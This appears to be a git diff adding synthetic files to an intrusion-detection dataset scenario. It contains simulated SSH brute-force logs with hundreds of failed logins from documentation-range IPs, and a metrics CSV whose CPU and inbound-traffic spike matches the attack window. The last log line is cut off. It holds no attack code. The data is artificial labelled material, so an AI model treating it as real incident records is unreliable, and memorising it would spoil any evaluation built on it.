+Nov 12 22:20:42 sshd[11801]: Failed password for service from 192.0.2.123 port 54282 ssh2 +Nov 12 22:20:42 sshd[11801]: Failed password for sqladmin from 192.0.2.123 port 47182 ssh2 +Nov 12 22:20:43 sshd[11801]: Failed password for invalid user ftpuser from 192.0.2.123 port 64260 +Nov 12 22:20:43 sshd[11801]: Failed password for ubuntu from 192.0.2.123 port 11786 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for admin from 192.0.2.123 port 41825 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for invalid user postgres from 192.0.2.123 port 56167 +Nov 12 22:20:44 sshd[11801]: Failed password for mssql from 192.0.2.123 port 24217 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for postgres from 192.0.2.123 port 39034 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for root from 192.0.2.123 port 24329 ssh2 +Nov 12 22:20:44 sshd[11801]: Failed password for test from 192.0.2.123 port 46842 ssh2 +Nov 12 22:20:45 sshd[22368]: Failed password for invalid user ec2-user from 192.0.2.123 port 34838 +Nov 12 22:20:45 sshd[22368]: Failed password for invalid user root from 192.0.2.123 port 59130 +Nov 12 22:20:45 sshd[22368]: Failed password for oracle from 192.0.2.123 port 45210 ssh2 +Nov 12 22:20:46 sshd[22368]: Failed password for invalid user admin from 192.0.2.123 port 50568 +Nov 12 22:20:46 sshd[22368]: Failed password for invalid user mssql from 192.0.2.123 port 51502 +Nov 12 22:20:46 sshd[22368]: Failed password for invalid user service from 192.0.2.123 port 34233 +Nov 12 22:20:48 sshd[22368]: Failed password for invalid user root from 192.0.2.123 port 37832 +Nov 12 22:20:48 sshd[22368]: Failed password for postgres from 192.0.2.123 port 40051 ssh2 +Nov 12 22:20:48 sshd[22368]: Failed password for service from 192.0.2.123 port 64682 ssh2 +Nov 12 22:20:48 sshd[22368]: Failed password for sqladmin from 192.0.2.123 port 18439 ssh2 +Nov 12 22:20:49 sshd[22368]: Failed password for invalid user mssql from 192.0.2.123 port 22900 +Nov 12 22:20:49 sshd[22368]: Failed password for invalid user user from 192.0.2.123 port 35446 +Nov 12 22:20:49 sshd[22368]: Failed password for ubuntu from 192.0.2.123 port 14623 ssh2 +Nov 12 22:20:50 sshd[20684]: Failed password for invalid user ftpuser from 192.0.2.123 port 64873 +Nov 12 22:20:52 sshd[20684]: Failed password for ftpuser from 192.0.2.123 port 21053 ssh2 +Nov 12 22:20:52 sshd[20684]: Failed password for invalid user postgres from 192.0.2.123 port 12213 +Nov 12 22:20:53 sshd[20684]: Failed password for mssql from 192.0.2.123 port 36152 ssh2 +Nov 12 22:20:54 sshd[20684]: Failed password for invalid user backup from 192.0.2.123 port 49531 +Nov 12 22:20:54 sshd[20684]: Failed password for invalid user mssql from 192.0.2.123 port 10779 +Nov 12 22:20:54 sshd[20684]: Failed password for invalid user webmaster from 192.0.2.123 port 10918 +Nov 12 22:20:54 sshd[20684]: Failed password for service from 192.0.2.123 port 63087 ssh2 +Nov 12 22:20:55 sshd[9590]: Failed password for backup from 192.0.2.123 port 19163 ssh2 +Nov 12 22:20:55 sshd[9590]: Failed password for invalid user root from 192.0.2.123 port 43755 +Nov 12 22:20:55 sshd[9590]: Failed password for invalid user service from 192.0.2.123 port 62361 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user admin from 192.0.2.123 port 47796 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user backup from 192.0.2.123 port 30297 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user guest from 192.0.2.123 port 52238 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user service from 192.0.2.123 port 56678 +Nov 12 22:20:56 sshd[9590]: Failed password for invalid user webmaster from 192.0.2.123 port 11014 +Nov 12 22:20:56 sshd[9590]: Failed password for oracle from 192.0.2.123 port 39008 ssh2 +Nov 12 22:20:56 sshd[9590]: Failed password for root from 192.0.2.123 port 55149 ssh2 +Nov 12 22:20:56 sshd[9590]: Failed password for service from 192.0.2.123 port 22205 ssh2 +Nov 12 22:20:57 sshd[9590]: Failed password for invalid user backup from 192.0.2.123 port 62663 +Nov 12 22:20:57 sshd[9590]: Failed password for invalid user sqladmin from 192.0.2.123 port 61611 +Nov 12 22:20:57 sshd[9590]: Failed password for postgres from 192.0.2.123 port 46785 ssh2 +Nov 12 22:20:58 sshd[9590]: Failed password for ftpuser from 192.0.2.123 port 30530 ssh2 +Nov 12 22:20:58 sshd[9590]: Failed password for invalid user service from 192.0.2.123 port 43288 +Nov 12 22:20:58 sshd[9590]: Failed password for invalid user ubuntu from 192.0.2.123 port 58961 +Nov 12 22:20:58 sshd[9590]: Failed password for mssql from 192.0.2.123 port 58957 ssh2 +Nov 12 22:20:59 sshd[9590]: Failed password for guest from 192.0.2.123 port 34288 ssh2 +Nov 12 22:20:59 sshd[9590]: Failed password for invalid user guest from 192.0.2.123 port 18966 +Nov 12 22:21:00 sshd[25884]: Failed password for ec2-user from 192.0.2.123 port 16059 ssh2 +Nov 12 22:21:00 sshd[25884]: Failed password for invalid user mssql from 192.0.2.123 port 48241 +Nov 12 22:21:00 sshd[25884]: Failed password for invalid user oracle from 192.0.2.123 port 28743 +Nov 12 22:21:00 sshd[25884]: Failed password for invalid user ubuntu from 192.0.2.123 port 11510 +Nov 12 22:21:00 sshd[25884]: Failed password for postgres from 192.0.2.123 port 29695 ssh2 +Nov 12 22:21:01 sshd[25884]: Failed password for invalid user backup from 192.0.2.123 port 43476 +Nov 12 22:21:01 sshd[25884]: Failed password for invalid user test from 192.0.2.123 port 29260 +Nov 12 22:21:01 sshd[25884]: Failed password for invalid user ubuntu from 192.0.2.123 port 24654 +Nov 12 22:21:01 sshd[25884]: Failed password for invalid user webmaster from 192.0.2.123 port 11271 +Nov 12 22:21:01 sshd[25884]: Failed password for oracle from 192.0.2.123 port 43760 ssh2 +Nov 12 22:21:01 sshd[25884]: Failed password for root from 192.0.2.123 port 59595 ssh2 +Nov 12 22:21:02 sshd[25884]: Failed password for admin from 192.0.2.123 port 49432 ssh2 +Nov 12 22:21:02 sshd[25884]: Failed password for admin from 192.0.2.123 port 50399 ssh2 +Nov 12 22:21:02 sshd[25884]: Failed password for postgres from 192.0.2.123 port 12737 ssh2 +Nov 12 22:21:03 sshd[25884]: Failed password for mssql from 192.0.2.123 port 12868 ssh2 +Nov 12 22:21:04 sshd[25884]: Failed password for invalid user test from 192.0.2.123 port 23325 +Nov 12 22:21:05 sshd[2514]: Failed password for invalid user test from 192.0.2.123 port 61649 +Nov 12 22:21:05 sshd[2514]: Failed password for root from 192.0.2.123 port 17192 ssh2 +Nov 12 22:21:05 sshd[2514]: Failed password for test from 192.0.2.123 port 23797 ssh2 +Nov 12 22:21:06 sshd[2514]: Failed password for ec2-user from 192.0.2.123 port 64770 ssh2 +Nov 12 22:21:06 sshd[2514]: Failed password for invalid user sqladmin from 192.0.2.123 port 61945 +Nov 12 22:21:06 sshd[2514]: Failed password for oracle from 192.0.2.123 port 51748 ssh2 +Nov 12 22:21:07 sshd[2514]: Failed password for ec2-user from 192.0.2.123 port 20166 ssh2 +Nov 12 22:21:08 sshd[2514]: Failed password for invalid user root from 192.0.2.123 port 49227 +Nov 12 22:21:08 sshd[2514]: Failed password for invalid user service from 192.0.2.123 port 28003 +Nov 12 22:21:08 sshd[2514]: Failed password for postgres from 192.0.2.123 port 59477 ssh2 +Nov 12 22:21:09 sshd[2514]: Failed password for invalid user sqladmin from 192.0.2.123 port 13235 +Nov 12 22:21:09 sshd[2514]: Failed password for user from 192.0.2.123 port 22305 ssh2 +Nov 12 22:21:09 sshd[2514]: Failed password for user from 192.0.2.123 port 39002 ssh2 +Nov 12 22:21:10 sshd[13508]: Failed password for ftpuser from 192.0.2.123 port 29969 ssh2 +Nov 12 22:21:10 sshd[13508]: Failed password for sqladmin from 192.0.2.123 port 46159 ssh2 +Nov 12 22:21:12 sshd[13508]: Failed password for invalid user ftpuser from 192.0.2.123 port 30383 +Nov 12 22:21:12 sshd[13508]: Failed password for invalid user oracle from 192.0.2.123 port 29215 +Nov 12 22:21:12 sshd[13508]: Failed password for service from 192.0.2.123 port 48111 ssh2 +Nov 12 22:21:13 sshd[13508]: Failed password for invalid user root from 192.0.2.123 port 29100 +Nov 12 22:21:14 sshd[13508]: Failed password for invalid user test from 192.0.2.123 port 39822 +Nov 12 22:21:14 sshd[13508]: Failed password for postgres from 192.0.2.123 port 57041 ssh2 +Nov 12 22:21:40 CRON[6260]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) diff --git a/mali_dataset/scenario_7/mali_7_9.csv b/mali_dataset/scenario_7/mali_7_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..c7bf77bf4e908647ec0a66e58a863a8282adf0ba --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,15.14,39.15,32.48,0.8,1.01 +2025-08-22T10:00:05Z,14.91,39.21,28.5,1.18,0.85 +2025-08-22T10:00:10Z,15.48,39.77,35.53,1.06,1.22 +2025-08-22T10:00:15Z,14.73,39.75,29.39,0.94,0.92 +2025-08-22T10:00:20Z,11.68,40.11,26.85,1.21,0.95 +2025-08-22T10:00:25Z,17.26,40.39,30.88,0.83,0.91 +2025-08-22T10:00:30Z,14.45,39.29,24.97,1.08,0.64 +2025-08-22T10:00:35Z,13.61,41.0,36.46,0.8,1.23 +2025-08-22T10:00:40Z,14.82,41.04,22.23,0.75,1.23 +2025-08-22T10:00:45Z,12.68,40.53,29.99,1.02,0.66 +2025-08-22T10:00:50Z,13.32,39.86,27.1,1.18,0.96 +2025-08-22T10:00:55Z,13.02,39.3,37.11,1.3,0.9 +2025-08-22T10:01:00Z,13.41,41.03,25.54,1.21,0.97 +2025-08-22T10:01:05Z,15.78,42.75,34.92,1.07,0.75 +2025-08-22T10:01:10Z,14.74,37.57,29.92,0.88,1.02 +2025-08-22T10:01:15Z,14.16,38.41,27.0,1.24,0.75 +2025-08-22T10:01:20Z,13.47,43.35,29.22,0.67,0.9 +2025-08-22T10:01:25Z,15.12,42.3,30.06,0.93,1.19 +2025-08-22T10:01:30Z,13.28,39.66,23.57,1.22,0.54 +2025-08-22T10:01:35Z,14.86,40.2,26.24,0.87,0.73 +2025-08-22T10:01:40Z,14.73,41.13,30.08,1.02,0.89 +2025-08-22T10:01:45Z,15.45,39.58,36.87,0.69,0.78 +2025-08-22T10:01:50Z,16.74,43.3,33.95,1.04,1.17 +2025-08-22T10:01:55Z,14.16,41.36,36.51,1.33,0.82 +2025-08-22T10:02:00Z,60.0,36.12,28.78,12.31,1.26 +2025-08-22T10:02:05Z,60.0,37.52,28.78,11.7,0.66 +2025-08-22T10:02:10Z,60.0,39.09,22.72,7.51,0.79 +2025-08-22T10:02:15Z,68.75,39.25,30.75,11.35,1.06 +2025-08-22T10:02:20Z,85.0,41.4,20.0,13.05,0.8 +2025-08-22T10:02:25Z,81.41,42.11,25.25,14.24,1.19 +2025-08-22T10:02:30Z,80.46,39.43,33.95,10.67,0.78 +2025-08-22T10:02:35Z,90.84,40.02,33.73,10.81,0.79 +2025-08-22T10:02:40Z,92.32,42.36,27.4,11.38,0.84 +2025-08-22T10:02:45Z,89.35,38.05,24.89,8.5,0.91 +2025-08-22T10:02:50Z,75.26,38.14,30.57,6.49,0.7 +2025-08-22T10:02:55Z,93.6,39.63,38.4,9.83,1.31 +2025-08-22T10:03:00Z,82.82,40.18,27.23,7.43,0.74 +2025-08-22T10:03:05Z,79.84,37.1,34.62,9.6,0.85 +2025-08-22T10:03:10Z,81.89,39.5,31.68,7.22,0.77 +2025-08-22T10:03:15Z,86.52,41.56,37.26,7.3,0.98 +2025-08-22T10:03:20Z,84.0,42.22,38.59,9.51,1.15 +2025-08-22T10:03:25Z,85.75,40.23,34.29,8.24,0.95 +2025-08-22T10:03:30Z,75.73,36.67,30.58,14.14,0.9 +2025-08-22T10:03:35Z,87.36,38.65,29.0,5.0,1.05 +2025-08-22T10:03:40Z,88.13,42.0,32.74,11.91,0.8 +2025-08-22T10:03:45Z,80.1,41.0,21.3,11.58,0.84 +2025-08-22T10:03:50Z,81.0,41.13,24.15,11.4,0.56 +2025-08-22T10:03:55Z,84.69,39.17,30.2,6.32,0.82 +2025-08-22T10:04:00Z,88.12,37.83,34.11,9.71,1.11 +2025-08-22T10:04:05Z,87.58,40.94,36.7,6.92,0.47 +2025-08-22T10:04:10Z,90.06,41.25,40.0,11.77,0.77 +2025-08-22T10:04:15Z,77.2,38.37,28.05,13.24,0.69 +2025-08-22T10:04:20Z,89.59,38.28,29.87,8.7,0.8 +2025-08-22T10:04:25Z,92.81,44.74,30.03,11.9,0.81 +2025-08-22T10:04:30Z,83.49,38.05,30.46,8.97,0.98 +2025-08-22T10:04:35Z,85.0,40.84,27.65,10.3,1.05 +2025-08-22T10:04:40Z,68.75,40.13,24.95,12.36,1.0 +2025-08-22T10:04:45Z,60.0,40.26,24.19,13.91,0.61 +2025-08-22T10:04:50Z,60.0,40.13,26.95,7.8,0.73 +2025-08-22T10:04:55Z,60.0,41.59,34.66,5.0,0.77 +2025-08-22T10:05:00Z,15.08,41.11,32.22,0.97,0.92 +2025-08-22T10:05:05Z,11.99,41.95,30.19,1.03,0.73 +2025-08-22T10:05:10Z,16.47,38.42,32.57,1.36,0.69 +2025-08-22T10:05:15Z,16.34,38.98,35.86,1.19,1.1 +2025-08-22T10:05:20Z,15.32,38.59,34.9,0.91,1.03 +2025-08-22T10:05:25Z,12.94,42.96,35.19,0.82,0.92 +2025-08-22T10:05:30Z,16.2,38.3,35.23,1.0,1.29 +2025-08-22T10:05:35Z,12.21,41.61,31.9,1.21,0.81 +2025-08-22T10:05:40Z,14.4,42.33,30.25,0.94,1.01 +2025-08-22T10:05:45Z,14.06,41.46,31.14,1.2,0.85 +2025-08-22T10:05:50Z,16.98,38.6,38.88,0.87,1.2 +2025-08-22T10:05:55Z,14.38,39.2,35.47,1.2,0.9 +2025-08-22T10:06:00Z,13.44,36.51,40.0,0.97,1.24 +2025-08-22T10:06:05Z,16.13,41.38,37.31,0.83,1.11 +2025-08-22T10:06:10Z,13.56,41.02,34.94,1.02,1.2 +2025-08-22T10:06:15Z,10.79,41.7,37.29,0.92,0.83 +2025-08-22T10:06:20Z,15.42,41.66,35.3,0.91,1.29 +2025-08-22T10:06:25Z,16.58,41.67,32.36,0.93,0.58 +2025-08-22T10:06:30Z,14.72,41.33,27.36,0.93,0.72 +2025-08-22T10:06:35Z,16.39,38.53,29.71,0.77,1.21 +2025-08-22T10:06:40Z,11.78,41.37,32.92,1.09,0.94 +2025-08-22T10:06:45Z,14.22,40.11,24.98,1.2,0.98 +2025-08-22T10:06:50Z,19.26,40.9,39.24,1.27,1.04 +2025-08-22T10:06:55Z,12.28,41.87,38.29,0.84,0.86 +2025-08-22T10:07:00Z,16.07,42.03,30.46,1.4,0.75 +2025-08-22T10:07:05Z,15.01,41.35,31.7,1.02,0.52 +2025-08-22T10:07:10Z,13.57,36.99,23.62,0.85,0.95 +2025-08-22T10:07:15Z,17.0,41.11,32.04,0.97,0.76 +2025-08-22T10:07:20Z,15.06,41.27,35.63,0.92,1.02 +2025-08-22T10:07:25Z,15.34,37.46,35.05,1.07,0.6 diff --git a/mali_dataset/scenario_7/mali_7_9.log b/mali_dataset/scenario_7/mali_7_9.log new file mode 100644 index 0000000000000000000000000000000000000000..361e5d3901cc05ec8809cdfead3d12ff44a8235a --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_9.log @@ -0,0 +1,225 @@ +Aug 22 10:00:20 (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:35 Starting daily clean up activities... +Aug 22 10:00:40 TCP: kona_tcp_congestion_control registered +Aug 22 10:01:00 Starting daily clean up activities... +Aug 22 10:01:10 TCP: kona_tcp_congestion_control registered +Aug 22 10:01:20 TCP: kona_tcp_congestion_control registered +Aug 22 10:01:25 TCP: kona_tcp_congestion_control registered +Aug 22 10:01:40 TCP: kona_tcp_congestion_control registered +Aug 22 10:02:01 sshd[2003]: Failed password for invalid user guest from 203.0.113.78 port 32486 ssh2 +Aug 22 10:02:01 sshd[2003]: Failed password for invalid user system from 198.51.100.112 port 43361 ssh2 +Aug 22 10:02:03 sshd[2003]: Failed password for invalid user dev from 203.0.113.78 port 53066 ssh2 +Aug 22 10:02:03 sshd[2003]: Failed password for test from 10.100.5.23 port 50149 ssh2 +Aug 22 10:02:04 sshd[2003]: Failed password for invalid user john from 198.51.100.112 port 16491 ssh2 +Aug 22 10:02:04 sshd[2003]: Failed password for invalid user user from 198.51.100.112 port 24352 ssh2 +Aug 22 10:02:05 sshd[2003]: Failed password for administrator from 10.100.5.23 port 50910 ssh2 +Aug 22 10:02:06 sshd[2003]: Failed password for invalid user test from 203.0.113.78 port 52895 ssh2 +Aug 22 10:02:06 sshd[2003]: Failed password for invalid user user from 198.51.100.112 port 12027 ssh2 +Aug 22 10:02:08 sshd[2003]: Failed password for guest from 198.51.100.112 port 21147 ssh2 +Aug 22 10:02:10 Starting daily clean up activities... +Aug 22 10:02:10 sshd[2003]: Failed password for guest from 10.100.5.23 port 14387 ssh2 +Aug 22 10:02:10 sshd[2003]: Failed password for invalid user administrator from 172.16.254.1 port 22717 ssh2 +Aug 22 10:02:11 sshd[2003]: Failed password for guest from 10.100.5.23 port 32974 ssh2 +Aug 22 10:02:12 sshd[2003]: Failed password for invalid user john from 198.51.100.112 port 61670 ssh2 +Aug 22 10:02:12 sshd[2003]: Failed password for invalid user sarah from 172.16.254.1 port 13299 ssh2 +Aug 22 10:02:13 sshd[2003]: Failed password for invalid user backup from 10.100.5.23 port 22107 ssh2 +Aug 22 10:02:14 sshd[2003]: Failed password for root from 203.0.113.78 port 64110 ssh2 +Aug 22 10:02:14 sshd[2003]: Failed password for user from 198.51.100.112 port 51778 ssh2 +Aug 22 10:02:15 sshd[2003]: Failed password for invalid user administrator from 198.51.100.112 port 32680 ssh2 +Aug 22 10:02:15 sshd[2003]: Failed password for invalid user john from 203.0.113.78 port 55232 ssh2 +Aug 22 10:02:15 sshd[2003]: Failed password for invalid user prod from 203.0.113.78 port 39917 ssh2 +Aug 22 10:02:16 sshd[2003]: Failed password for ec2-user from 172.16.254.1 port 58059 ssh2 +Aug 22 10:02:16 sshd[2003]: Failed password for invalid user user from 172.16.254.1 port 35449 ssh2 +Aug 22 10:02:18 sshd[2003]: Failed password for invalid user system from 10.100.5.23 port 28873 ssh2 +Aug 22 10:02:18 sshd[2003]: Failed password for user from 203.0.113.78 port 31003 ssh2 +Aug 22 10:02:20 sshd[2003]: Failed password for guest from 10.100.5.23 port 38099 ssh2 +Aug 22 10:02:21 sshd[2003]: Failed password for test from 172.16.254.1 port 24256 ssh2 +Aug 22 10:02:24 sshd[2003]: Failed password for administrator from 198.51.100.112 port 53385 ssh2 +Aug 22 10:02:24 sshd[2003]: Failed password for invalid user john from 203.0.113.78 port 10079 ssh2 +Aug 22 10:02:27 sshd[2003]: Failed password for user from 203.0.113.78 port 33873 ssh2 +Aug 22 10:02:28 sshd[2003]: Failed password for administrator from 198.51.100.112 port 57987 ssh2 +Aug 22 10:02:28 sshd[2003]: Failed password for invalid user admin from 10.100.5.23 port 60614 ssh2 +Aug 22 10:02:28 sshd[2003]: Failed password for invalid user prod from 198.51.100.112 port 40843 ssh2 +Aug 22 10:02:29 sshd[2003]: Failed password for invalid user sarah from 172.16.254.1 port 20625 ssh2 +Aug 22 10:02:29 sshd[2003]: Failed password for user from 203.0.113.78 port 53506 ssh2 +Aug 22 10:02:30 TCP: kona_tcp_congestion_control registered +Aug 22 10:02:30 sshd[2003]: Failed password for invalid user dev from 198.51.100.112 port 24142 ssh2 +Aug 22 10:02:30 sshd[2003]: Failed password for invalid user root from 10.100.5.23 port 10195 ssh2 +Aug 22 10:02:34 sshd[2003]: Failed password for invalid user administrator from 198.51.100.112 port 28577 ssh2 +Aug 22 10:02:37 sshd[2003]: Failed password for invalid user ec2-user from 203.0.113.78 port 41809 ssh2 +Aug 22 10:02:38 sshd[2003]: Failed password for invalid user ec2-user from 172.16.254.1 port 24769 ssh2 +Aug 22 10:02:38 sshd[2003]: Failed password for root from 172.16.254.1 port 50093 ssh2 +Aug 22 10:02:39 sshd[2003]: Failed password for invalid user dev from 198.51.100.112 port 33427 ssh2 +Aug 22 10:02:39 sshd[2003]: Failed password for invalid user john from 203.0.113.78 port 19769 ssh2 +Aug 22 10:02:39 sshd[2003]: Failed password for invalid user user from 203.0.113.78 port 27828 ssh2 +Aug 22 10:02:40 sshd[2003]: Failed password for ec2-user from 172.16.254.1 port 32721 ssh2 +Aug 22 10:02:40 sshd[2003]: Failed password for invalid user dev from 198.51.100.112 port 64204 ssh2 +Aug 22 10:02:40 sshd[2003]: Failed password for invalid user guest from 10.100.5.23 port 18825 ssh2 +Aug 22 10:02:40 sshd[2003]: Failed password for invalid user guest from 198.51.100.112 port 57066 ssh2 +Aug 22 10:02:40 sshd[2003]: Failed password for invalid user john from 172.16.254.1 port 23947 ssh2 +Aug 22 10:02:40 sshd[2003]: Failed password for invalid user john from 203.0.113.78 port 33853 ssh2 +Aug 22 10:02:41 sshd[2003]: Failed password for administrator from 172.16.254.1 port 32362 ssh2 +Aug 22 10:02:41 sshd[2003]: Failed password for invalid user admin from 10.100.5.23 port 37990 ssh2 +Aug 22 10:02:47 sshd[2003]: Failed password for backup from 203.0.113.78 port 27333 ssh2 +Aug 22 10:02:47 sshd[2003]: Failed password for invalid user sarah from 198.51.100.112 port 13175 ssh2 +Aug 22 10:02:49 sshd[2003]: Failed password for invalid user backup from 172.16.254.1 port 11739 ssh2 +Aug 22 10:02:50 sshd[2003]: Failed password for invalid user guest from 10.100.5.23 port 38233 ssh2 +Aug 22 10:02:50 sshd[2003]: Failed password for invalid user user from 198.51.100.112 port 43979 ssh2 +Aug 22 10:02:51 sshd[2003]: Failed password for invalid user guest from 198.51.100.112 port 32781 ssh2 +Aug 22 10:02:52 sshd[2003]: Failed password for admin from 198.51.100.112 port 55231 ssh2 +Aug 22 10:02:53 sshd[2003]: Failed password for invalid user system from 203.0.113.78 port 46267 ssh2 +Aug 22 10:02:55 sshd[2003]: Failed password for invalid user admin from 203.0.113.78 port 10409 ssh2 +Aug 22 10:02:56 sshd[2003]: Failed password for invalid user user from 198.51.100.112 port 21197 ssh2 +Aug 22 10:02:57 sshd[2003]: Failed password for invalid user system from 198.51.100.112 port 38319 ssh2 +Aug 22 10:02:58 sshd[2003]: Failed password for backup from 172.16.254.1 port 20344 ssh2 +Aug 22 10:02:58 sshd[2003]: Failed password for invalid user guest from 10.100.5.23 port 51463 ssh2 +Aug 22 10:02:59 sshd[2003]: Failed password for admin from 10.100.5.23 port 17532 ssh2 +Aug 22 10:02:59 sshd[2003]: Failed password for user from 10.100.5.23 port 59519 ssh2 +Aug 22 10:03:00 sshd[2003]: Failed password for invalid user ec2-user from 203.0.113.78 port 62139 ssh2 +Aug 22 10:03:01 sshd[2003]: Failed password for invalid user test from 10.100.5.23 port 40896 ssh2 +Aug 22 10:03:03 sshd[2003]: Failed password for admin from 203.0.113.78 port 52375 ssh2 +Aug 22 10:03:03 sshd[2003]: Failed password for backup from 203.0.113.78 port 28884 ssh2 +Aug 22 10:03:03 sshd[2003]: Failed password for root from 203.0.113.78 port 54267 ssh2 +Aug 22 10:03:03 sshd[2003]: Failed password for test from 203.0.113.78 port 48686 ssh2 +Aug 22 10:03:04 sshd[2003]: Failed password for invalid user backup from 203.0.113.78 port 56372 ssh2 +Aug 22 10:03:05 sshd[2003]: Failed password for invalid user ec2-user from 172.16.254.1 port 29888 ssh2 +Aug 22 10:03:05 sshd[2003]: Failed password for invalid user user from 198.51.100.112 port 65366 ssh2 +Aug 22 10:03:06 sshd[2003]: Failed password for backup from 172.16.254.1 port 56337 ssh2 +Aug 22 10:03:08 sshd[2003]: Failed password for administrator from 203.0.113.78 port 33796 ssh2 +Aug 22 10:03:11 sshd[2003]: Failed password for invalid user administrator from 203.0.113.78 port 48808 ssh2 +Aug 22 10:03:12 sshd[2003]: Failed password for invalid user prod from 203.0.113.78 port 28660 ssh2 +Aug 22 10:03:13 sshd[2003]: Failed password for invalid user ec2-user from 172.16.254.1 port 39382 ssh2 +Aug 22 10:03:14 sshd[2003]: Failed password for invalid user root from 172.16.254.1 port 65118 ssh2 +Aug 22 10:03:14 sshd[2003]: Failed password for user from 203.0.113.78 port 57102 ssh2 +Aug 22 10:03:15 sshd[2003]: Failed password for invalid user administrator from 10.100.5.23 port 19309 ssh2 +Aug 22 10:03:17 sshd[2003]: Failed password for administrator from 172.16.254.1 port 13946 ssh2 +Aug 22 10:03:17 sshd[2003]: Failed password for invalid user john from 198.51.100.112 port 49101 ssh2 +Aug 22 10:03:17 sshd[2003]: Failed password for invalid user system from 198.51.100.112 port 59509 ssh2 +Aug 22 10:03:18 sshd[2003]: Failed password for invalid user system from 203.0.113.78 port 16909 ssh2 +Aug 22 10:03:19 sshd[2003]: Failed password for guest from 10.100.5.23 port 45844 ssh2 +Aug 22 10:03:19 sshd[2003]: Failed password for invalid user sarah from 172.16.254.1 port 15201 ssh2 +Aug 22 10:03:19 sshd[2003]: Failed password for test from 172.16.254.1 port 22310 ssh2 +Aug 22 10:03:21 sshd[2003]: Failed password for guest from 172.16.254.1 port 54481 ssh2 +Aug 22 10:03:22 sshd[2003]: Failed password for guest from 10.100.5.23 port 17190 ssh2 +Aug 22 10:03:23 sshd[2003]: Failed password for invalid user ec2-user from 10.100.5.23 port 55668 ssh2 +Aug 22 10:03:23 sshd[2003]: Failed password for invalid user test from 198.51.100.112 port 43031 ssh2 +Aug 22 10:03:24 sshd[2003]: Failed password for invalid user sarah from 172.16.254.1 port 32885 ssh2 +Aug 22 10:03:25 sshd[2003]: Failed password for backup from 203.0.113.78 port 55016 ssh2 +Aug 22 10:03:27 sshd[2003]: Failed password for invalid user system from 172.16.254.1 port 35677 ssh2 +Aug 22 10:03:27 sshd[2003]: Failed password for invalid user user from 10.100.5.23 port 46382 ssh2 +Aug 22 10:03:27 sshd[2003]: Failed password for test from 172.16.254.1 port 45052 ssh2 +Aug 22 10:03:28 sshd[2003]: Failed password for invalid user admin from 10.100.5.23 port 36308 ssh2 +Aug 22 10:03:28 sshd[2003]: Failed password for invalid user sarah from 10.100.5.23 port 29466 ssh2 +Aug 22 10:03:29 sshd[2003]: Failed password for invalid user admin from 198.51.100.112 port 44139 ssh2 +Aug 22 10:03:29 sshd[2003]: Failed password for invalid user john from 198.51.100.112 port 28552 ssh2 +Aug 22 10:03:32 sshd[2003]: Failed password for invalid user backup from 198.51.100.112 port 25071 ssh2 +Aug 22 10:03:33 sshd[2003]: Failed password for invalid user guest from 203.0.113.78 port 21060 ssh2 +Aug 22 10:03:34 sshd[2003]: Failed password for invalid user administrator from 172.16.254.1 port 40822 ssh2 +Aug 22 10:03:35 sshd[2003]: Failed password for invalid user guest from 10.100.5.23 port 49097 ssh2 +Aug 22 10:03:35 sshd[2003]: Failed password for invalid user user from 203.0.113.78 port 55347 ssh2 +Aug 22 10:03:37 sshd[2003]: Failed password for invalid user ec2-user from 203.0.113.78 port 52575 ssh2 +Aug 22 10:03:37 sshd[2003]: Failed password for invalid user root from 172.16.254.1 port 64567 ssh2 +Aug 22 10:03:37 sshd[2003]: Failed password for invalid user root from 198.51.100.112 port 22224 ssh2 +Aug 22 10:03:38 sshd[2003]: Failed password for invalid user john from 198.51.100.112 port 24726 ssh2 +Aug 22 10:03:41 sshd[2003]: Failed password for user from 172.16.254.1 port 21408 ssh2 +Aug 22 10:03:42 sshd[2003]: Failed password for backup from 10.100.5.23 port 62458 ssh2 +Aug 22 10:03:42 sshd[2003]: Failed password for invalid user system from 172.16.254.1 port 13748 ssh2 +Aug 22 10:03:44 sshd[2003]: Failed password for invalid user system from 172.16.254.1 port 48447 ssh2 +Aug 22 10:03:44 sshd[2003]: Failed password for test from 198.51.100.112 port 19103 ssh2 +Aug 22 10:03:44 sshd[2003]: Failed password for user from 198.51.100.112 port 26880 ssh2 +Aug 22 10:03:45 sshd[2003]: Failed password for invalid user dev from 10.100.5.23 port 15632 ssh2 +Aug 22 10:03:46 sshd[2003]: Failed password for invalid user api_user from 203.0.113.78 port 58671 ssh2 +Aug 22 10:03:47 sshd[2003]: Failed password for invalid user dev from 198.51.100.112 port 49266 ssh2 +Aug 22 10:03:50 sshd[2003]: Failed password for invalid user dev from 198.51.100.112 port 62387 ssh2 +Aug 22 10:03:51 sshd[2003]: Failed password for administrator from 172.16.254.1 port 62438 ssh2 +Aug 22 10:03:53 sshd[2003]: Failed password for ec2-user from 203.0.113.78 port 64555 ssh2 +Aug 22 10:03:54 sshd[2003]: Failed password for backup from 10.100.5.23 port 42274 ssh2 +Aug 22 10:03:54 sshd[2003]: Failed password for invalid user prod from 198.51.100.112 port 37707 ssh2 +Aug 22 10:03:54 sshd[2003]: Failed password for invalid user sarah from 10.100.5.23 port 47035 ssh2 +Aug 22 10:03:54 sshd[2003]: Failed password for root from 198.51.100.112 port 11926 ssh2 +Aug 22 10:03:56 sshd[2003]: Failed password for invalid user test from 203.0.113.78 port 42528 ssh2 +Aug 22 10:03:58 sshd[2003]: Failed password for user from 203.0.113.78 port 15641 ssh2 +Aug 22 10:03:59 sshd[2003]: Failed password for root from 10.100.5.23 port 23302 ssh2 +Aug 22 10:04:00 sshd[2003]: Failed password for invalid user api_user from 198.51.100.112 port 46453 ssh2 +Aug 22 10:04:00 sshd[2003]: Failed password for invalid user root from 198.51.100.112 port 16902 ssh2 +Aug 22 10:04:01 sshd[2003]: Failed password for invalid user prod from 203.0.113.78 port 58647 ssh2 +Aug 22 